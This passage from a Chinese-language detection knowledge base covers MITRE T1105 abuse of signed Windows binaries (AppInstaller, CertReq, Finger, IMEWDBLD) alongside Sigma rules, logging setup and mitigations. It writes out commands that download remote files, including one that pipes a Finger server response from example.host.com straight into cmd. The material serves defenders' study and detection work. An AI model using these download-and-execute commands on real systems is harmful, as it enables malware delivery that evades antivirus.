 condition: selection\nfalsepositives:\n- Legitimate Windows Update operations (rare with these specific parameters)\nlevel: high\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检查`wuauclt.exe`的命令行参数是否包含`/UpdateDeploymentProvider`和`/RunHandlerComServer`。\n   - 监控异常父进程（如`cmd.exe`、`powershell.exe`）。\n2. **DLL加载监控**：\n   - 使用Sysmon事件ID 7检测`wuauclt.exe`加载的DLL，重点关注非系统路径的DLL。\n3. **网络监控**：\n   - 检测`wuauclt.exe`或加载的DLL发起的异常网络连接。\n4. **行为监控**：\n   - 检测`wuauclt.exe`在非Windows Update场景下的运行。\n5. **关联分析**：\n   - 结合Sysmon事件ID 1（进程创建）、7（DLL加载）和3（网络连接）进行关联，识别完整攻击链。\n\n### 检测建议\n- **告警规则**：基于Sigma规则，配置SIEM系统（如Splunk、Elastic）检测`wuauclt.exe`的异常命令行参数和DLL加载。\n- **基线对比**：建立`wuauclt.exe`的正常使用基线（通常与Windows Update相关），排除合法行为。\n- **DLL白名单**：限制`wuauclt.exe`加载非系统DLL。\n- **EDR增强**：使用EDR工具（如Microsoft Defender for Endpoint）监控`wuauclt.exe`的异常行为。\n\n## 缓解措施\n1. **限制DLL加载**：\n   - 配置Windows Defender应用程序控制（WDAC）限制`wuauclt.exe`加载非受信任DLL。\n2. **加强日志监控**：\n   - 启用命令行参数记录和Sysmon日志，覆盖进程、DLL加载和网络活动。\n3. **白名单管理**：\n   - 使用应用白名单工具（如AppLocker）限制`wuauclt.exe`的执行场景。\n4. **权限管理**：\n   - 限制普通用户运行`wuauclt.exe`加载自定义DLL的能力。\n5. **定期审查**：\n   - 检查系统内`wuauclt.exe`的异常使用记录，结合威胁情报分析潜在风险。\n\n## 参考推荐\n- MITRE ATT&CK T1105  \n  https://attack.mitre.org/techniques/T1105  \n- Windows Update被发现可滥用于执行恶意程序  \n  https://www.nruan.com/75037.html\n"
  },
  {
    "path": "Windows/12命令与控制/T1105-win-入口工具转移-AppInstaller.exe(白名单、失效).md",
    "content": "# T1105-Win-入口工具转移-AppInstaller.exe(白名单、失效)\n\n## 描述\n\n攻击者利用合法工具`AppInstaller.exe`从外部系统将工具或恶意文件转移到被攻陷环境（T1105），以实现工具部署或恶意软件分发。`AppInstaller.exe`是Windows 10内置组件，负责处理`ms-appinstaller`协议，用于安装AppX/MSIX应用程序。攻击者可通过伪造`ms-appinstaller://?source=<URL>`URI，诱导`AppInstaller.exe`从指定URL下载文件并保存到用户临时目录（如`C:\\Users\\%username%\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_*\\AC\\INetCache`）。由于其为白名单程序且由Microsoft签名，易被恶意利用以规避检测。\n\n然而，自2023年12月13日起，Microsoft已禁用`ms-appinstaller`协议以防止恶意软件传播（参考相关X帖子和Microsoft Q&A），当前此技术已失效。检测重点在于历史数据分析或遗留系统监控，尤其是涉及`AppInstaller.exe`的DNS查询或文件下载行为。\n\n## 测试案例\n\n1. **AppInstaller文件下载**  \n   使用`ms-appinstaller`协议从远程URL下载恶意文件，模拟工具转移。  \n2. **临时文件提取**  \n   使用`forfiles`提取`AppInstaller.exe`下载的临时文件。  \n\n### 示例命令\n- **触发下载**（需用户权限，Windows 10）：\n  ```cmd\n  start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw\n  timeout 1 & taskkill /F /IM AppInstaller.exe > NUL\n  ```\n- **提取临时文件**：\n  ```cmd\n  forfiles /P \"C:\\Users\\%username%\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_*\\AC\\INetCache\" /S /M * /C \"cmd /c if @fsize==8 FOR /F \\\"tokens=*\\\" %g IN ('type @path') do @echo %g\" > NUL\n  ```\n- **清理**（如有文件）：\n  ```cmd\n  del /Q \"C:\\Users\\%username%\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_*\\AC\\INetCache\\*\"\n  ```\n\n**注意**：由于协议已禁用，现代Windows系统将显示“ms-appinstaller protocol has been disabled”错误。\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`AppInstaller.exe`进程创建及命令行参数（若启用）。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录`AppInstaller.exe`进程创建，捕获命令行参数。  \n- **事件ID 3**：记录网络连接，捕获`AppInstaller.exe`的HTTP请求（目标IP/端口）。  \n- **事件ID 11**：记录临时文件（如`INetCache`中的下载文件）创建。  \n\n**DNS日志**  \n- 捕获`AppInstaller.exe`发起的DNS查询，关联至目标URL。  \n\n**网络日志**  \n- 捕获`AppInstaller.exe`的HTTP流量（如向非预期URL的GET请求）。  \n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用Sysmon配置：监控`AppInstaller.exe`及`INetCache`路径：\n  ```xml\n  <RuleGroup name=\"ProcessCreate\" groupRelation=\"and\">\n    <ProcessCreate onmatch=\"include\">\n      <Image condition=\"contains\">AppInstaller.exe</Image>\n    </ProcessCreate>\n  </RuleGroup>\n  <RuleGroup name=\"FileCreate\" groupRelation=\"and\">\n    <FileCreate onmatch=\"include\">\n      <TargetFilename condition=\"contains\">AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_</TargetFilename>\n    </FileCreate>\n  </RuleGroup>\n  ```\n- 配置IDS/IPS记录HTTP流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10（较旧版本，如未更新至禁用协议的补丁）。  \n- **权限**：用户权限（无需管理员）。  \n- **工具**：`AppInstaller.exe`（系统自带）、Sysmon、Wireshark、测试Web服务器（如`https://pastebin.com`）。  \n- **网络**：可控网络环境，允许HTTPS出站流量。  \n- **日志**：启用Windows安全日志、Sysmon日志，配置网络监控。  \n\n### 攻击步骤\n1. **触发下载**  \n   ```cmd\n   start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw\n   timeout 1 & taskkill /F /IM AppInstaller.exe > NUL\n   ```\n\n2. **提取文件**  \n   ```cmd\n   forfiles /P \"C:\\Users\\%username%\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_*\\AC\\INetCache\" /S /M * /C \"cmd /c if @fsize==8 FOR /F \\\"tokens=*\\\" %g IN ('type @path') do @echo %g\" > NUL\n   ```\n\n3. **验证结果**  \n   - 检查Sysmon日志（进程创建）：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"AppInstaller.exe\" }\n     ```\n   - 检查网络连接：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \"AppInstaller.exe\" }\n     ```\n   - 检查文件创建：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 11 -and $_.Message -match \"INetCache\" }\n     ```\n   - 检查Windows安全日志：\n     ```powershell\n     Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match \"AppInstaller.exe\" }\n     ```\n   - 检查Netflow（Wireshark过滤`https`）。  \n\n4. **清理**  \n   ```cmd\n   del /Q \"C:\\Users\\%username%\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_*\\AC\\INetCache\\*\"\n   ```\n\n### 示例输出\n```cmd\nstart ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw\nCannot open app package\nReason: The ms-appinstaller protocol has been disabled. Please ask the vendor to update the web link.\nFor more information go to aka.ms/ms-appinstaller-disabled.\n```\n\n**注意**：由于协议已禁用，测试在现代系统上将失败。需使用未更新或遗留系统复现。\n\n## 测试留痕\n\n- **历史日志（若未禁用前执行）**：\n  - `AppInstaller.exe`进程创建（Windows安全日志事件ID 4688）。\n  - 临时文件（如`INetCache`中的下载文件，Sysmon事件ID 11）。\n  - DNS查询至目标URL（DNS日志）。\n- **当前状态**：无有效留痕，系统直接拒绝执行。\n\n## 检测方法/思路\n\n**检测规则**  \n通过监控`AppInstaller.exe`的DNS查询、网络连接及文件操作，检测历史或遗留系统的恶意行为。以下是具体思路：\n\n1. **日志分析**：\n   - 监控DNS日志，检测`AppInstaller.exe`发起的异常域名查询。  \n   - 监控Sysmon事件ID 1，检测`AppInstaller.exe`进程创建及命令行参数。  \n   - 监控Sysmon事件ID 3，检测`AppInstaller.exe`的HTTP连接（非预期URL）。  \n   - 监控Sysmon事件ID 11，检测`INetCache`中的临时文件创建。  \n   - 监控Windows安全日志事件ID 4688，检测`AppInstaller.exe`执行（若记录）。  \n   - 检查Netflow，检测`AppInstaller.exe`的HTTP流量。  \n\n2. **Sigma规则（AppInstaller DNS查询）**：\n   ```yaml\n   title: AppInstaller Attempts From URL by DNS\n   id: 7cff77e1-9663-46a3-8260-17f2e1aa9d0a\n   description: Detects AppInstaller.exe spawned by the default handler for the ms-appinstaller URI, attempting to load/install a package from a URL\n   status: experimental\n   tags:\n     - attack.command_and_control\n     - attack.t1105\n   references:\n     - https://twitter.com/notwhickey/status/1333900137232523264\n     - https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/\n   logsource:\n     product: windows\n     category: dns_query\n   detection:\n     selection:\n       Image|startswith: 'C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_'\n       Image|endswith: '\\AppInstaller.exe'\n     condition: selection\n   fields:\n     - Image\n     - QueryName\n     - User\n   falsepositives:\n     - Legitimate AppX/MSIX installation\n     - Unknown legacy usage\n   level: medium\n   ```\n\n3. **Sigma规则（AppInstaller文件操作）**：\n   ```yaml\n   title: AppInstaller Temporary File Creation\n   id: 8d0e88f2-9774-47b4-8361-28f3e2bb9e1b\n   status: experimental\n   description: Detects creation of temporary files by AppInstaller.exe in INetCache directory\n   logsource:\n     product: windows\n     service: sysmon\n   detection:\n     selection:\n       EventID: 11\n       TargetFilename|contains: 'AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_'\n       TargetFilename|contains: '\\AC\\INetCache'\n     condition: selection\n   fields:\n     - Image\n     - TargetFilename\n     - User\n   falsepositives:\n     - Legitimate AppX/MSIX downloads\n     - Legacy system behavior\n   level: medium\n   ```\n\n4. **SIEM规则**：\n   - 检测`AppInstaller.exe`异常行为。\n   - 示例Splunk查询：\n     ```spl\n     (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" (EventID=1 Image=\"*AppInstaller.exe\" OR\n     EventID=3 Image=\"*AppInstaller.exe\" OR\n     EventID=11 TargetFilename=\"*AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_*\")) OR\n     (source=\"WinEventLog:Security\" EventCode=4688 Image=\"*AppInstaller.exe\")\n     | stats count by Image, CommandLine, DestinationIp, TargetFilename, User, ComputerName\n     ```\n\n5. **网络流量分析**：\n   - 检查`AppInstaller.exe`的HTTP请求：\n     ```bash\n     tshark -f \"tcp port 443\" -Y \"http.request\"\n     ```\n   - 使用IDS规则检测异常流量：\n     ```snort\n     alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:\"Suspicious AppInstaller HTTP Request\"; content:\"AppInstaller.exe\"; sid:1000011;)\n     ```\n\n6. **工具支持**：\n   - 使用Wireshark分析`AppInstaller.exe`的HTTP流量。  \n   - 使用Sysinternals Process Monitor捕获`AppInstaller.exe`的文件和网络活动。  \n   - 使用EDR工具（如CrowdStrike、Carbon Black）监控`AppInstaller.exe`行为。  \n\n7. **威胁情报整合**：\n   - 检查下载URL或文件哈希是否与已知恶意样本匹配，结合威胁情报平台（如VirusTotal、AlienVault）。  \n\n## 建议\n\n### 缓解措施\n\n由于`ms-appinstaller`协议已禁用，当前风险较低，但需关注遗留系统：\n\n1. **保持系统更新**  \n   - 确保所有Windows系统应用最新补丁，维持`ms-appinstaller`协议禁用状态。  \n\n2. **限制AppInstaller执行**  \n   - 使用AppLocker限制`AppInstaller.exe`：\n     ```powershell\n     New-AppLockerPolicy -RuleType Path -Path \"C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_*\" -Action Deny -User \"Everyone\"\n     ```\n\n3. **监控遗留行为**  \n   - 配置Sysmon监控`AppInstaller.exe`及`INetCache`路径：\n     ```xml\n     <RuleGroup name=\"ProcessCreate\" groupRelation=\"and\">\n       <ProcessCreate onmatch=\"include\">\n         <Image condition=\"contains\">AppInstaller.exe</Image>\n       </ProcessCreate>\n     </RuleGroup>\n     <RuleGroup name=\"FileCreate\" groupRelation=\"and\">\n       <FileCreate onmatch=\"include\">\n         <TargetFilename condition=\"contains\">AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_</TargetFilename>\n       </FileCreate>\n     </RuleGroup>\n     ```\n\n4. **加强日志监控**  \n   - 启用Sysmon事件ID 1、3、11和Windows事件ID 4688，检测`AppInstaller.exe`行为（适用于遗留系统）。  \n   - 配置SIEM实时告警`AppInstaller.exe`的网络或文件活动。  \n   - 使用EDR工具监控白名单程序滥用。  \n\n5. **定期审计**  \n   - 检查`AppInstaller.exe`执行：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 1 -and $_.Message -match \"AppInstaller.exe\" }\n     ```\n   - 检查网络连接：\n     ```powershell\n     Get-WinEvent -LogName \"Microsoft-Windows-Sysmon/Operational\" | Where-Object { $_.Id -eq 3 -and $_.Message -match \"AppInstaller.exe\" }\n     ```\n\n6. **网络控制**  \n   - 配置防火墙阻止非预期`AppInstaller.exe`出站流量：\n     ```powershell\n     New-NetFirewallRule -DisplayName \"Block AppInstaller HTTP\" -Direction Outbound -Action Block -Program \"C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_*\" -Protocol TCP -RemotePort 80,443\n     ```\n\n## 参考推荐\n\n- MITRE ATT&CK: T1105  \n  <https://attack.mitre.org/techniques/T1105/>  \n- LOLBAS: AppInstaller.exe  \n  <https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/>  \n- Sigma: win_dq_lobas_appinstaller  \n  <https://github.com/SigmaHQ/sigma/blob/bdb00f403fd8ede0daa04449ad913200af9466ff/rules/windows/dns_query/win_dq_lobas_appinstaller.yml>  "
  },
  {
    "path": "Windows/12命令与控制/T1105-win-入口工具转移-CertReq.exe(白名单).md",
    "content": "# T1105-Win-入口工具转移-CertReq.exe(白名单)\n\n## 描述\n\n攻击者利用合法工具`CertReq.exe`从外部系统将工具或恶意文件转移到被攻陷环境（T1105），以实现工具部署或恶意软件分发。`CertReq.exe`是Windows内置组件，设计用于请求证书、检索CA响应或处理证书请求文件。攻击者可通过滥用其`-Post`和`-config`参数，将HTTP POST请求发送至外部URL（如`https://www.baidu.com/`），将响应内容保存为本地文件（如`output.txt`），从而下载恶意文件。由于`CertReq.exe`为白名单程序且由Microsoft签名，易被恶意利用以规避传统防病毒检测。\n\n此技术适用于Windows Vista及以上版本，需用户权限即可执行。检测重点在于监控`CertReq.exe`的异常命令行参数（包含HTTP URL）、网络请求及文件创建行为。\n\n## 测试案例\n\n1. **CertReq文件下载**  \n   使用`CertReq.exe`通过HTTP POST从远程URL下载文件，模拟工具转移。  \n2. **配置文件伪造**  \n   利用`win.ini`作为占位符，触发HTTP请求并保存响应。  \n\n### 示例命令\n- **触发下载**（需用户权限）：\n  ```cmd\n  CertReq -Post -config https://www.baidu.com/ c:\\windows\\win.ini output.txt\n  ```\n- **清理**：\n  ```cmd\n  del output.txt\n  ```\n\n## 检测日志\n\n**Windows安全日志**  \n- **事件ID 4688**：记录`CertReq.exe`进程创建及命令行参数（若启用）。  \n\n**Sysmon日志**  \n- **事件ID 1**：记录`CertReq.exe`进程创建，捕获命令行参数。  \n- **事件ID 3**：记录网络连接，捕获`CertReq.exe`的HTTP请求（目标IP/端口）。  \n- **事件ID 11**：记录输出文件（如`output.txt`）创建。  \n\n**PowerShell日志**  \n- **事件ID 4104**：记录若通过PowerShell调用`CertReq.exe`的脚本执行。  \n\n**网络日志**  \n- 捕获`CertReq.exe`发起的HTTP POST请求。  \n\n**配置日志记录**  \n- 启用命令行参数记录：`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。  \n- 启用PowerShell日志：`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。  \n- 配置Sysmon监控`CertReq.exe`及文件操作：\n  ```xml\n  <RuleGroup name=\"ProcessCreate\" groupRelation=\"and\">\n    <ProcessCreate onmatch=\"include\">\n      <Image condition=\"end with\">certreq.exe</Image>\n    </ProcessCreate>\n  </RuleGroup>\n  <RuleGroup name=\"FileCreate\" groupRelation=\"and\">\n    <FileCreate onmatch=\"include\">\n      <TargetFilename condition=\"is not\">c:\\windows\\win.ini</TargetFilename>\n    </FileCreate>\n  </RuleGroup>\n  ```\n- 配置IDS/IPS记录HTTP流量。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10/11或Windows Server 2016/2022（支持Vista及以上）。  \n- **权限**：用户权限（无需管理员）。  \n- **工具**：`CertReq.exe`（系统自带，路径`C:\\Windows\\System32\\certreq.exe`或`C:\\Windows\\SysWOW64\\certreq.exe`）、Sysmon、Wireshark、测试Web服务器（如`https://www.baidu.com`）。  \n- **网络**：可控网络环境，允许HTTPS出站流量。  \n- **日志**：启用Windows安全日志、Sysmon日志，配置网络监控。  \n\n### 攻击步骤\n1. **触发下载** \n\n```YML\nC:\\Users\\liyang\\Desktop\\asptest>CertReq -Post -config https://www.baidu.com/ c:\\windows\\win.ini output.txt\nOK\nHTTP/1.1 200 OK\nCache-Control: max-age=86400\nDate: Mon, 18 Apr 2022 06:28:15 GMT\nContent-Length: 19825\nContent-Type: text/html\nExpires: Tue, 19 Apr 2022 06:28:15 GMT\nLast-Modified: Wed, 10 Mar 2021 06:27:44 GMT\nAccept-Ranges: bytes\nETag: \"4d71-5bd28c3bf7800\"\nP3P: CP=\" OTI DSP COR IVA OUR IND COM \"\nServer: Apache\nSet-Cookie: BAIDUID=4305E8F795AE7B64177F5105CD755190:FG=1; expires=Tue, 18-Apr-23 06:28:15 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1\nVary: Accept-Encoding,User-Agent\n```\n\n**注意**：测试需在合法授权环境进行，替换URL为测试服务器。\n\n## 测试留痕\n\n```YML\n已创建新进程。\n创建者主题:\n安全 ID: DESKTOP-PT656L6\\liyang\n帐户名: liyang\n帐户域: DESKTOP-PT656L6\n登录 ID: 0x47126\n进程信息:\n新进程 ID: 0x1778\n新进程名称: C:\\Windows\\System32\\certreq.exe\n令牌提升类型: %%1938\n强制性标签: Mandatory Label\\Medium Mandatory Level\n创建者进程 ID: 0x24b4\n创建者进程名称: C:\\Windows\\System32\\cmd.exe\n进程命令行: CertReq  -Post -config https://www.baidu.com/ c:\\windows\\win.ini output.txt\n```\n\n## 检测方法/思路\n\n### Sigma规则\n\n基于Sigma规则（`win_susp_certreq_download`），检测`CertReq.exe`的异常下载行为：\n\n```yml\ntitle: Suspicious Certreq Command to Download\nid: 4480827a-9799-4232-b2c4-ccc6c4e9e12b\nstatus: experimental\ndescription: Detects suspicious Certreq execution that may be abused to download files via HTTP POST.\nauthor: Christian Burkard\ndate: 2021/11/24\nreferences:\n  - https://lolbas-project.github.io/lolbas/Binaries/Certreq/\n  - https://attack.mitre.org/techniques/T1105/\nlogsource:\n  category: process_creation\n  product: windows\ndetection:\n  selection:\n    Image|endswith: '\\certreq.exe'\n    CommandLine|contains|all:\n      - ' -Post '\n      - ' -config '\n      - ' http'\n      - ' C:\\windows\\win.ini '\n  condition: selection\nfields:\n  - CommandLine\n  - ParentCommandLine\ntags:\n  - attack.command_and_control\n  - attack.t1105\nfalsepositives:\n  - Legitimate certificate management by administrators\nlevel: high\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检查`CertReq.exe`的命令行参数是否包含`-Post`、`-config`和HTTP/HTTPS URL。\n   - 监控异常父进程（如`cmd.exe`、`powershell.exe`）。\n2. **网络监控**：\n   - 检测`CertReq.exe`发起的HTTP/HTTPS POST请求，重点关注非预期目标URL。\n3. **文件监控**：\n   - 检查`CertReq.exe`创建的非预期文件（如`output.txt`）。\n4. **异常行为**：\n   - 检测`CertReq.exe`在非证书管理场景下的运行（如普通用户运行、异常时间点）。\n5. **关联分析**：\n   - 结合Sysmon事件ID 1（进程创建）、3（网络连接）和11（文件创建）进行关联，识别完整攻击链。\n\n### 检测建议\n- **告警规则**：基于Sigma规则，配置SIEM系统（如Splunk、Elastic）检测`CertReq.exe`的异常命令行参数。\n- **基线对比**：建立`CertReq.exe`的正常使用基线（如证书管理场景），排除合法行为。\n- **网络白名单**：限制`CertReq.exe`的出站流量，仅允许访问已知CA服务器。\n- **文件完整性监控**：监控`CertReq.exe`生成的文件，检测异常文件扩展名或内容。\n\n## 缓解措施\n1. **限制网络访问**：\n   - 配置防火墙，限制`CertReq.exe`的出站HTTP/HTTPS流量，仅允许访问合法CA服务器。\n2. **加强日志监控**：\n   - 确保启用命令行参数记录和Sysmon日志，覆盖进程、网络和文件操作。\n3. **白名单管理**：\n   - 使用应用白名单工具（如AppLocker）限制`CertReq.exe`的执行场景。\n4. **用户权限管理**：\n   - 限制普通用户运行`CertReq.exe`，仅允许证书管理相关账户使用。\n5. **定期审查**：\n   - 检查系统内`CertReq.exe`的异常使用记录，结合威胁情报分析潜在风险。\n\n## 参考推荐\n- MITRE ATT&CK: T1105    \n  <https://attack.mitre.org/techniques/T1105/>\n- LOLBAS - CertReq.exe  \n  <https://lolbas-project.github.io/lolbas/Binaries/Certreq/>\n- Microsoft CertReq文档  \n  <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certreq_1>\n- Sigma规则 - win_susp_certreq_download  \n  <https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/win_susp_certreq_download.yml>\n"
  },
  {
    "path": "Windows/12命令与控制/T1105-win-入口工具转移-Finger.exe(白名单).md",
    "content": "# T1105-Win-入口工具转移-# Finger.exe(白名单)\n\n## 描述\n\n攻击者可能通过命令和控制通道从外部系统将工具或其他文件转移到被攻击的环境中，以将恶意工具或有效载荷引入目标网络。文件传输可通过专用工具（如FTP）或替代协议（如scp、rsync、sftp）实现，适用于Windows、Mac和Linux系统。攻击者常利用系统内置的白名单工具（如`Finger.exe`）来规避传统防病毒检测。\n\n## 测试案例\n\n`Finger.exe`是Windows系统内置的命令行工具，位于`C:\\Windows\\System32\\finger.exe`或`C:\\Windows\\SysWOW64\\finger.exe`，用于查询运行Finger服务或守护进程的远程主机（通常为UNIX系统）上一个或多个用户的信息。攻击者可通过连接到恶意Finger服务器，下载包含恶意shellcode的响应内容，并通过管道（如`cmd`）执行。\n\n### 路径\n```yml\n- c:\\windows\\system32\\finger.exe\n- c:\\windows\\syswow64\\finger.exe\n```\n\n### 示例命令\n从远程Finger服务器下载有效载荷（Payload）。此示例连接到“example.host.com”，查询用户“user”，结果可能包含恶意shellcode，由`cmd`进程执行。\n```yml\nfinger user@example.host.com | more +2 | cmd\n```\n\n### 用例\n- 从恶意Finger服务器下载并执行有效载荷。\n- 所需权限：用户权限。\n- 操作系统：Windows 8.1、Windows 10、Windows 11、Windows Server 2008、Windows Server 2008R2、Windows Server 2012、Windows Server 2012R2、Windows Server 2016、Windows Server 2019、Windows Server 2022。\n\n### Windows安全日志\n- **事件ID 4688**：记录`finger.exe`进程创建及命令行参数（需启用命令行审核）。\n\n### Sysmon日志\n- **事件ID 1**：捕获`finger.exe`进程创建及命令行参数。\n- **事件ID 3**：记录`finger.exe`发起的网络连接（目标IP/端口，通常为TCP 79端口）。\n- **事件ID 11**：记录可能的恶意文件创建（若攻击者将响应保存为文件）。\n\n### 网络日志\n- 捕获`finger.exe`发起的TCP连接（默认端口79），检查目标主机是否异常。\n\n## 测试复现\n\n### 环境准备\n- **靶机**：Windows 10。\n- **权限**：用户权限（无需管理员）。\n- **工具**：\n  - `finger.exe`（系统自带，路径`C:\\Windows\\System32\\finger.exe`或`C:\\Windows\\SysWOW64\\finger.exe`）。\n  - Sysmon（用于进程和网络监控）。\n  - Wireshark（用于网络流量捕获）。\n  - 测试Finger服务器（提供可控响应）。\n- **网络**：允许TCP 79端口出站流量，建议在隔离网络中测试。\n- **日志**：启用Windows安全日志和Sysmon日志。\n\n### 攻击步骤\n1. **执行Finger命令**：\n\n```yml\nC:\\Users\\liyang>Finger.exe\n\n显示与运行手指服务的指定系统上某个用户有关\n的信息。输出因远程系统而异。\n\nFINGER [-l] [user]@host [...]\n\n  -l        以长列表格式显示信息。\n  user      指定需要其信息的用户。省略 user 参数\n            将显示与指定主机上所有用户有关的信息。\n  @host     指定需要其用户信息的远程系统上的服务器。\n\nC:\\Users\\liyang>finger user@example.host.com | more +2 | cmd\nMicrosoft Windows [版本 10.0.18363.418]\n(c) 2019 Microsoft Corporation。保留所有权利。\n```\n\n- 命令连接到`example.host.com`，查询用户`user`，并将响应通过管道传递给`cmd`执行。\n\n## 测试留痕\n\n```log\n已创建新进程。\n创建者主题:\n安全 ID: DESKTOP-PT656L6\\liyang\n帐户名: liyang\n帐户域: DESKTOP-PT656L6\n登录 ID: 0x47126\n\n进程信息:\n新进程 ID: 0x2c8\n新进程名称: C:\\Windows\\System32\\finger.exe\n令牌提升类型: %%1938\n强制性标签: Mandatory Label\\Medium Mandatory Level\n创建者进程 ID: 0xc78\n创建者进程名称: C:\\Windows\\System32\\cmd.exe\n进程命令行: finger  user@example.host.com\n```\n\n基于Sigma规则（`win_susp_finger_usage`），检测`finger.exe`的异常执行行为：\n\n```yml\ntitle: Finger.exe Suspicious Invocation\nid: af491bca-e752-4b44-9c86-df5680533dbc\ndescription: Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays\nauthor: Florian Roth, omkar72, oscd.community\ndate: 2021/02/24\nreferences:\n- https://twitter.com/bigmacjpg/status/1349727699863011328?s=12\n- https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/\n- http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt\ntags:\n- attack.command_and_control\n- attack.t1105\nlogsource:\ncategory: process_creation\nproduct: windows\ndetection:\n  selection:\n    Image|endswith: '\\finger.exe'\n  condition: selection\nfalsepositives:\n- Admin activity (unclear what they do nowadays with finger.exe)\nlevel: high\n```\n\n### 检测思路\n1. **进程监控**：\n   - 检查`finger.exe`的命令行参数是否包含远程主机地址（如`user@host`）。\n   - 监控异常父进程（如`cmd.exe`）或管道操作（如`| cmd`）。\n2. **网络监控**：\n   - 检测`finger.exe`发起的TCP 79端口连接，重点关注非预期目标主机。\n3. **行为监控**：\n   - 检测`finger.exe`的运行是否伴随管道命令（如`more | cmd`）。\n   - 检查响应内容是否触发后续进程（如`cmd.exe`执行shellcode）。\n4. **关联分析**：\n   - 结合Sysmon事件ID 1（进程创建）、3（网络连接）和可能的11（文件创建）进行关联，识别完整攻击链。\n\n### 检测建议\n- **告警规则**：基于Sigma规则，配置SIEM系统（如Splunk、Elastic）检测`finger.exe`的异常执行。\n- **基线对比**：建立`finger.exe`的正常使用基线（通常在现代环境中极少使用），排除合法行为。\n- **网络白名单**：限制`finger.exe`的出站流量，仅允许访问已知合法Finger服务器。\n- **管道监控**：检测`finger.exe`输出到`cmd`或其他命令解释器的行为。\n\n## 缓解措施\n1. **限制网络访问**：\n   - 配置防火墙，限制`finger.exe`的出站TCP 79端口流量，仅允许访问已知合法服务器。\n2. **加强日志监控**：\n   - 启用命令行参数记录和Sysmon日志，覆盖进程、网络和可能的文件操作。\n3. **白名单管理**：\n   - 使用应用白名单工具（如AppLocker）限制`finger.exe`的执行场景。\n4. **禁用Finger协议**：\n   - 在不需要Finger服务的环境中，禁用或移除`finger.exe`。\n5. **定期审查**：\n   - 检查系统内`finger.exe`的异常使用记录，结合威胁情报分析潜在风险。\n\n## 参考推荐\n- MITRE ATT&CK T1105  \n  https://attack.mitre.org/techniques/T1105  \n- Finger.exe  \n  https://lolbas-project.github.io/lolbas/Binaries/Finger/  \n- Finger使用方法  \n  https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/ff961508(v=ws.11)  \n- Sigma: win_susp_finger_usage  \n  https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_finger_usage.yml\n"
  },
  {
    "path": "Windows/12命令与控制/T1105-win-入口工具转移-IMEWDBLD.exe(白名单).md",
    "content": "# T1105-Win-入口工具转移-IMEWDBLD.exe(白名单)\n\n## 描述\n\n攻击者可能通过命令和控制通道从外部系统将工具或其他文件转移到被攻击的环境中，以将恶意工具或有效载荷引入目标网络。文件传输可通过专用工具（如FTP）或替代协议（如scp、rsync、sftp）实现，适用于Windows、Mac和Linux系统。攻击者常利用系统内置的白名单工具（如`IMEWDBLD.exe`）来规避传统防病毒检测。\n\n## 测试案例\n\n`IMEWDBLD.exe`是微软拼音输入法的开放扩展字典模块，位于`C:\\Windows\\System32\\IME\\SHARED\\IMEWDBLD.exe`，主要用于下载字典文件。攻击者可通过指定远程URL，下载任意文件到隐藏路径`C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\[随机值]`。\n\n### 路径\n```yml\n- C:\\Windows\\System32\\IME\\SHARED\\IMEWDBLD.exe\n```\n\n### 示例命令\n从远程服务器下载文件：\n```yml\nC:\\Windows\\System32\\IME\\SHARED\\IMEWDBLD.exe https://pastebin.com/raw/tdyShwLw\n```\n\n### 用例\n- 从互联网下载任意文件（如恶意可执行文件）。\n- 所需权限：用户权限。\n- 操作系统：Windows 10。\n\n### 查找下载文件路径\n```yml\nforfiles /P \"%localappdata%\\Microsoft\\Windows\\INetCache\" /S /M * /C \"cmd /c echo 